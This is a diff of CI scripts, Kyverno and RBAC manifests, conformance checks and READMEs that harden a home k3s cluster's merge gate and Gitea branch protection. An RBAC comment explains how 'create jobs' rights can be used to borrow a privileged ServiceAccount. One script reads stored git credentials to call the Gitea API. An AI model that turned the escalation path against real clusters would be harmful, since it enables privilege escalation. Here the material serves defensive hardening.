+# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
+# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
+# it looked like it had worked. A token was minted, no secret existed, and this stage would
+# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+
+[ -f "$DECL" ] || die "declaration missing: ${DECL}"
+require_tool jq
+require_tool curl
+
+if [ -z "$TOKEN" ]; then
+  skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
+  skip "  Branch protection and runner registration are therefore UNVERIFIED. They were"
+  skip "  wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
+  summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
+  exit 3
+fi
+
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+BRANCH="$(jq -r '.branch' "$DECL")"
+LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
+if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
+  skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
+  skip "  lacks permission). Not treating this as a pass."
+  summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
+  exit 3
+fi
+
+RC=0
+
+# --- 1. every declared protection key must match the live rule, exactly ---------------
+while IFS= read -r key; do
+  want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
+  got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
+  if [ "$want" = "$got" ]; then
+    ok "  ${key} = ${got}"
+  else
+    err "  ${key}: DECLARED ${want} but LIVE is ${got}"
+    RC=1
+  fi
+done < <(jq -r '.protection | keys[]' "$DECL")
+
+# --- 2. a runner must actually be online ----------------------------------------------
+MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
+RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
+N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
+if [ "${N:-0}" -ge "$MIN" ]; then
+  ok "  runners online: ${N} (>= ${MIN})"
+else
+  err "  runners online: ${N}, DECLARED minimum ${MIN}."
+  err "  A required status check with no runner leaves every PR pending forever —"
+  err "  including the PR that would fix it. This is the 2026-09-29 outage condition."
+  RC=1
+fi
+
+if [ "$RC" -eq 0 ]; then
+  ok "Gitea settings match the declaration."
+  summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
+else
+  err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
+  err "  Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
+  err "  state is what you now want, change the DECLARATION in the same commit — deliberately."
+  summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
+fi
+exit "$RC"

ci/l0.sh

@@ -79,12 +79,37 @@ else
   cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
   find "$l0_render" -type f -name '*.yaml' -print0 \
     | xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
-  if kyverno test "$l0_render"; then
-    ok "Kyverno L0 policy tests passed"
-    summary "- kyverno-l0: **passed**"
+  # DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
+  # error, bad match block, malformed JMESPath) does not fail the run: every result row
+  # becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
+  #
+  # MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
+  # `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
+  # rows came back `Skip / Invalid Policy`, and the summary read:
+  #     Test Summary: 9 tests passed and 0 tests failed
+  # `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
+  # own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
+  #
+  # This is not specific to that policy: a typo in restrict-host-namespaces or
+  # secret-provenance would silently disable it and the gate would stay green. Scan the
+  # output for the load failure the exit code hides.
+  l0_kout="$(mktemp)"
+  if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
+    if grep -q 'Invalid Policy' "$l0_kout"; then
+      err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
+      err "  skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
+      err "  must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
+      grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
+      summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
+      rc=1
+    else
+      ok "Kyverno L0 policy tests passed"
+      summary "- kyverno-l0: **passed**"
+    fi
   else
     err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
   fi
+  rm -f "$l0_kout"
   rm -rf "$l0_render"
 fi
 

clusters/README.md

@@ -1,5 +1,19 @@
 # clusters/
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 Flux entrypoints and the environment-overlay model (**R-ENV-02**, **R-GITOPS-01/02/03**).
 
 Governing spec: [`docs/05-gitops-and-delivery.md`](../../home-network-k3s/docs/05-gitops-and-delivery.md),

clusters/base/conformance.yaml

@@ -0,0 +1,31 @@
+---
+# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
+#
+# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
+# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
+# meant to verify is worse than no harness.
+#
+# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
+# waves needs it.
+#
+# NOTE: this reconciles RBAC that is INERT until
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
+# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
+# trigger identity can exist while the policy bounding it does not.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: conformance
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./conformance/incluster

clusters/base/kustomization.yaml

@@ -33,6 +33,7 @@ resources:
   - apps-wave-2.yaml     # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
   # VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
   - apps-vms.yaml        # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
+  - conformance.yaml     # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
   # oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
   # service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
   # `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).

conformance/README.md

@@ -1,5 +1,19 @@
 # conformance/ — the home-k3s conformance harness (WS-TEST)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 This subtree is the **definition of "done"** for the whole platform. Nothing is accepted
 on a demo, a screenshot, or "it reconciled": every requirement is proven by an
 **automated, reproducible, behavior-based test** tagged with the requirement ID(s) it

conformance/incluster/README.md

@@ -1,5 +1,19 @@
 # In-cluster conformance Job (L2/L3)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
 cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
 on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster

conformance/incluster/kustomization.yaml

@@ -0,0 +1,14 @@
+# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
+#
+# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
+# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
+# reconciling it would create a permanent Job object and fight the trigger for ownership.
+#
+# The identities here are inert without
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
+# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
+# half — see the header of rbac.yaml.
+apiVersion: kustomize.config.k8s.io/v1beta1
+kind: Kustomization
+resources:
+  - rbac.yaml

conformance/incluster/rbac.yaml

@@ -174,3 +174,68 @@ subjects:
   - kind: ServiceAccount
     name: conformance-runner
     namespace: conformance
+---
+# =============================================================================
+# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
+#
+# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
+# that can `create jobs` in this namespace can create a Job with
+# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
+# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
+# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
+# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
+# access") while appearing to satisfy it.
+#
+# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
+# THIS ServiceAccount only when they match the committed conformance shape. This Role is
+# the necessary half; that policy is the sufficient half. Neither works alone — do not
+# grant this Role without that policy reconciled and ENFORCING.
+#
+# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
+# =============================================================================
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+rules:
+  # Create the run, and watch it to completion.
+  - apiGroups: [batch]
+    resources: [jobs]
+    verbs: [create, get, list, watch]
+  # Read the Job's pod and its log — this is how results come back. Deliberately NOT
+  # pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
+  # them from the log, so no execution channel into the runner pod is ever granted.
+  - apiGroups: [""]
+    resources: [pods, pods/log]
+    verbs: [get, list, watch]
+  # NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
+  # failed run), no secrets, no configmaps, no exec, no create on pods.
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: conformance-trigger
+subjects:
+  - kind: ServiceAccount
+    name: conformance-trigger
+    namespace: conformance

conformance/tests/l0-static/admission-policies-actually-applied/chainsaw-test.yaml

@@ -0,0 +1,42 @@
+# =============================================================================
+# L0 STATIC — every authored admission policy is actually APPLIED  (R-SEC-01, R-SEC-02)
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
+# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
+# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
+# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
+# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
+# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
+#
+# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
+# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
+# would have skipped this check on the very commit that introduced the defect.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: admission-policies-actually-applied
+  labels:
+    conformance.home.k3s/R-SEC-01: "true"
+    conformance.home.k3s/R-SEC-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
+    conformance.home.k3s/layer: "L0"
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      Every ClusterPolicy authored under platform/kyverno/ is either referenced by
+      platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
+      exemption that is genuinely not applied — so a policy cannot be authored, tested,
+      green, and absent from the cluster.
+spec:
+  steps:
+    - name: every-authored-policy-is-applied-or-documented-ci-only
+      description: >-
+        Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
+        into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/admission-policies-actually-applied/check.sh

@@ -0,0 +1,120 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — admission-policies-actually-applied
+# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
+#
+# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
+#
+# platform/kyverno/ holds THREE lists, and only one of them applies anything:
+#   1. platform/kyverno/admission/kustomization.yaml  — reference only. Its own sibling says
+#      "kept as reference; THIS file is the buildable render root".
+#   2. platform/kyverno/kustomization.yaml            — that render root: namespace +
+#      HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
+#   3. platform-config/kustomization.yaml             — THE ONE. Kyverno CRs go here because
+#      they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
+#
+# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
+# what the conformance CI trigger may create) was added to (1). Everything went green: the file
+# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
+# `platform` Ready at the new revision — and the policy was never in any applied set. The
+# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
+# which is precisely the state that identity's own RBAC header says must never exist.
+#
+# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
+# DEPLOYED. This check asserts the second thing.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
+# THEN  each one is either referenced by platform-config/kustomization.yaml (so Flux applies
+#       it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
+#       policy that IS applied, so the exemption list cannot rot into a lie either way.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+exec python3 - "$ROOT" <<'PY'
+import sys, subprocess
+from pathlib import Path
+
+ROOT = Path(sys.argv[1])
+FAILURES, CHECKS = [], 0
+
+def check(cond, desc):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(desc)
+
+# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
+# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
+# that silently starts being applied is as much a lie as one that silently stops.
+CI_ONLY = {
+    "disallow-plaintext-secrets":
+        "CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
+        "admission because Flux decrypts before the Secret reaches the API server. Its "
+        "in-cluster counterpart is admission/secret-provenance.yaml.",
+}
+
+tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
+                          "platform/kyverno/*.yaml"],
+                         cwd=ROOT, capture_output=True, text=True, check=True)
+files = [ROOT / p for p in tracked.stdout.split("\0") if p]
+
+# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
+policies = {}
+for f in files:
+    try:
+        txt = f.read_text()
+    except Exception:
+        continue
+    if "kind: ClusterPolicy" not in txt:
+        continue
+    for line in txt.splitlines():
+        st = line.strip()
+        if st.startswith("name:") and "  name:" in line:
+            policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
+            break
+
+check(len(policies) >= 6,
+      f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
+      f"too few means the scan broke, and every assertion below would be vacuous")
+
+applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
+
+unapplied, wrongly_exempt = [], []
+for rel, name in sorted(policies.items()):
+    # platform-config references these as ../platform/kyverno/...
+    referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
+    if name in CI_ONLY:
+        if referenced:
+            wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
+    elif not referenced:
+        unapplied.append(f"{name} ({rel})")
+
+check(not unapplied,
+      f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
+      f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
+
+check(not wrongly_exempt,
+      f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
+      f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
+
+for name, reason in CI_ONLY.items():
+    check(bool(reason.strip()),
+          f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
+          f"list stops being reviewable")
+
+check(CHECKS >= 4,
+      f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
+
+if FAILURES:
+    print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
+          file=sys.stderr)
+    for f in FAILURES:
+        print(f"  - {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
+      f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
+      f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
+      f"not that they are correct — `kyverno test` is what proves correctness.")
+PY

conformance/tests/l0-static/c2-root-surface/check.sh

@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
 DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
                   "runbooks", "clusters", "bootstrap", "catalog")
 
+# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
+# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
+# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
+# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
+# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
+# routes and make (8) demand the operator's dashboard link them.
+#
+# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
+# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
+# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
+# hostname-publishing Service. If that ever stops being true the check fails and the tree must
+# become a real delivery root.
+NON_SERVING_RECONCILED = ("conformance/incluster",)
+
 
 def tracked_yaml() -> list[Path]:
     out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
 # a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
 # a path of them would fail on a file that is correct.
 reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
+def _reconciled_path(d):
+    return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
+
+
 unscanned = sorted({
     f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
     for p, d in reconcilers
-    if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
-    not in DELIVERY_ROOTS
+    if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
+    and _reconciled_path(d) not in NON_SERVING_RECONCILED
 })
+
+# The exemption's own guard: an exempted tree must actually serve nothing.
+exempt_serving = sorted({
+    f"{p.relative_to(ROOT)} ({d.get('kind')})"
+    for p, d in docs_all()
+    if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
+    and (d.get("kind") == "HTTPRoute"
+         or (d.get("kind") == "Service"
+             and any("hostname" in str(k).lower()
+                     for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
+})
+check(not exempt_serving,
+      f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
+      f"gains a route would hide a service from this check entirely "
+      f"{exempt_serving if exempt_serving else ''}")
 check(len(reconcilers) >= 10 and not unscanned,
       f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
       f"reconciled tree this check does not read is a service it cannot require a link for "

docs/plans/l2-l3-conformance-ci-wiring.md

@@ -38,8 +38,21 @@ agents. So the credential model must be decided by the operator before anything
 | Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
 | Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
 
-**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
-is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
+**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
+LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
+
+> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
+> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
+> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
+> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
+> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
+> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
+> run" this stage attempts can never succeed; it can only skip and, before the guard added on
+> 2026-09-29, lie about it.
+>
+> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
+> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
+> not enable L2/L3, it only changes which way this stage fails.
 
 ---
 

infra/gitea/README.md

@@ -43,7 +43,93 @@ list. That is precisely the observed symptom: zero runners, pod running, no erro
 looks at. Clearing the PVC is what forces a real re-registration; the script prints the
 commands.
 
-## Sequence — order matters
+## Sequence — DONE 2026-09-29
+
+All four steps are complete and each was verified, not assumed:
+
+| Step | State |
+|---|---|
+| 1. Runner registered | ✅ `incluster-dind` online. Root cause of its absence was a stale `/data/.runner` identity; clearing the PVC forced re-registration |
+| 2. Gate observed green on a real PR | ✅ `gate / gate (pull_request)` ~1m35s |
+| 3. `enable_status_check: true` | ✅ context `gate / gate (pull_request)` — that one ONLY |
+| 4. Collaborator + approvals | ✅ `jakman85` is owner; `required_approvals: 1` |
+
+Direct push to `main` was **provoked and rejected** (`pre-receive hook declined`) as
+`gitea-admin`, a site admin — so push protection is not merely declared, it holds for the
+account agents authenticate as.
+
+### 5. Block the admin override — the step the first pass MISSED
+
+`enable_status_check` and `required_approvals` were set on 2026-09-29 and **still did not
+bite**, because `block_admin_merge_override` was `false`. Gitea lets repo admins override
+merge requirements without it, and `jakman85` holds `owner` — so the two settings that looked
+like the gate were overridable by precisely the account that merges.
+
+**The evidence was sitting in plain sight:** PRs #5 through #9 all merged with
+`required_approvals: 1` in force and **zero approvals recorded on any of them**. Checking the
+*branch* view (`/branches/main`) hid this — it does not expose the field. Read the rule object
+(`/branch_protections/main`) and enumerate its keys.
+
+> **Do not probe for field names you assume exist.** This Gitea (1.24.3) has no
+> `apply_to_admins`; asking `jq` for it returns `null`, which reads like "set to false" but
+> means "key absent". Enumerate with `to_entries` and act on what is really there.
+
+Now `block_admin_merge_override: true`. **That is still only a setting, not evidence** — it is
+proven when a green PR is REFUSED a merge until approved, and not before.
+
+### `require-gate.sh` / `verify-then-enforce.sh`
+
+`verify-then-enforce.sh` is the re-runnable form of the whole safe order. It merges nothing —
+merging is a human's reviewed act — but it forces the Flux reconcile and then **aborts** unless
+the runner pod is healthy, a runner is online, and a real workflow goes green on it, before
+enabling enforcement and probing the push. `require-gate.sh` is the enforcement step alone.
+
+Re-run `verify-then-enforce.sh` after any future change to the act-runner Deployment.
+
+### `expected-branch-protection.json` + `ci/gitea-settings.sh` — the detector
+
+`expected-branch-protection.json` **declares** the desired rule. `ci/gitea-settings.sh` runs as
+a merge-gate stage, reads the LIVE rule, and **fails the gate on any divergence** — plus asserts
+at least one runner is online. It is the only thing in this repository that can see Gitea's own
+database.
+
+It reads `/branch_protections/main`, not `/branches/main`: the branch view does **not** expose
+`block_admin_merge_override`, and it showed all-green for hours while the rule was overridable.
+
+Behaviour, proven by test rather than assumed:
+
+| Situation | Exit | Effect |
+|---|---|---|
+| live matches the declaration | 0 | green |
+| any key drifted, or no runner online | 1 | **blocks the merge** |
+| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
+
+The skip is deliberately *not* a block: an unwired credential blocking every PR is the
+lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
+the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS=true` in
+`gate.yml` so a future missing token blocks instead of skipping.
+
+**Changing the declaration is how you change policy.** If the live state is what you now want,
+edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
+
+### Why these scripts exist at all, and what is still missing
+
+Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
+conformance gate can read. Nothing detects drift from what this directory declares. That is
+the root cause of the entire 2026-09-29 session: branch protection was off and the runner was
+gone for a month while the log recorded both as working, and **no check existed that could
+have caught it.**
+
+These scripts encode the desired state and can re-assert it; `ci/gitea-settings.sh` above is the
+**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
+root cause of the 2026-09-29 session.
+
+It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
+detector detects nothing. That is the remaining step.
+
+## Historical sequence (kept for context)
+
+### Original ordering notes
 
 1. **Get an Actions runner registered** — `runner-token-rotate.sh`, then clear the PVC so
    the runner actually re-registers, then confirm it shows `online` in the API. Do not

infra/gitea/block-admin-override.sh

@@ -0,0 +1,36 @@
+#!/usr/bin/env bash
+# Stop repository admins from overriding the merge requirements on `main`.
+#
+# WHY. Gitea lets repo admins override branch-protection merge requirements unless
+# `block_admin_merge_override` is set. It was FALSE, and jakman85 holds `owner` -- so
+# required_approvals and the required status check were both overridable by the one account
+# that actually merges. Evidence: PRs #5-#9 all merged with ZERO approvals recorded against
+# `required_approvals: 1`.
+#
+# NOTE ON FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins` field. Querying it with jq
+# returns null, which reads like "set to false" but actually means "key absent". Enumerate the
+# real keys (`to_entries`) rather than probing names you assume exist.
+#
+# Recoverable: an owner can PATCH this back to false if it gets in the way.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+B="https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main"
+
+echo "==> before: block_admin_merge_override = $(api "$B" | jq -r .block_admin_merge_override)"
